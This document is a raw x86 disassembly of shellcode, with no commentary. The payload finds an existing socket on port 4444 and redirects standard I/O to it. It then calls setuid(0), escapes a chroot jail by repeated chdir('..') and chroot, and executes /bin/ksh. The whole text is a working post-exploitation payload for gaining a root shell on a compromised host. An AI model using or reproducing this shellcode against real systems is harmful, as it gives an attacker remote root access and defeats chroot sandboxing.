00000000 56 push esi 00000001 5F pop edi 00000002 83EF7C sub edi,byte +0x7c 00000005 57 push edi 00000006 8D4F10 lea ecx,[edi+0x10] 00000009 B091 mov al,0x91 0000000B AB stosd 0000000C AB stosd 0000000D 91 xchg eax,ecx 0000000E AB stosd 0000000F 95 xchg eax,ebp 00000010 B554 mov ch,0x54 00000012 51 push ecx 00000013 66B90101 mov cx,0x101 00000017 51 push ecx 00000018 33C0 xor eax,eax 0000001A B036 mov al,0x36 0000001C FFD6 call esi 0000001E 59 pop ecx 0000001F 33DB xor ebx,ebx 00000021 3BC3 cmp eax,ebx 00000023 750A jnz 0x2f 00000025 66BB115C mov bx,0x5c11 00000029 66395D02 cmp [ebp+0x2],bx 0000002D 7402 jz 0x31 0000002F E2E6 loop 0x17 00000031 6A09 push byte +0x9 00000033 51 push ecx 00000034 91 xchg eax,ecx 00000035 B103 mov cl,0x3 00000037 49 dec ecx 00000038 894C2408 mov [esp+0x8],ecx 0000003C 41 inc ecx 0000003D B03E mov al,0x3e 0000003F FFD6 call esi 00000041 E2F4 loop 0x37 00000043 33C0 xor eax,eax 00000045 50 push eax 00000046 B017 mov al,0x17 00000048 FFD6 call esi 0000004A 68622E2E2E push dword 0x2e2e2e62 0000004F 89E7 mov edi,esp 00000051 33C0 xor eax,eax 00000053 884703 mov [edi+0x3],al 00000056 57 push edi 00000057 B050 mov al,0x50 00000059 FFD6 call esi 0000005B 57 push edi 0000005C B03D mov al,0x3d 0000005E FFD6 call esi 00000060 47 inc edi 00000061 33C9 xor ecx,ecx 00000063 B1FF mov cl,0xff 00000065 57 push edi 00000066 B00C mov al,0xc 00000068 FFD6 call esi 0000006A E2FA loop 0x66 0000006C 47 inc edi 0000006D 57 push edi 0000006E B03D mov al,0x3d 00000070 FFD6 call esi 00000072 EB12 jmp short 0x86 00000074 33D2 xor edx,edx 00000076 58 pop eax 00000077 8D7814 lea edi,[eax+0x14] 0000007A 57 push edi 0000007B 50 push eax 0000007C AB stosd 0000007D 92 xchg eax,edx 0000007E AB stosd 0000007F 884208 mov [edx+0x8],al 00000082 B00B mov al,0xb 00000084 FFD6 call esi 00000086 E8E9FFFFFF call 0x74 0000008B 2F das 0000008C 62696E bound ebp,[ecx+0x6e] 0000008F 2F das 00000090 6B db 0x6B 00000091 7368 jnc 0xfb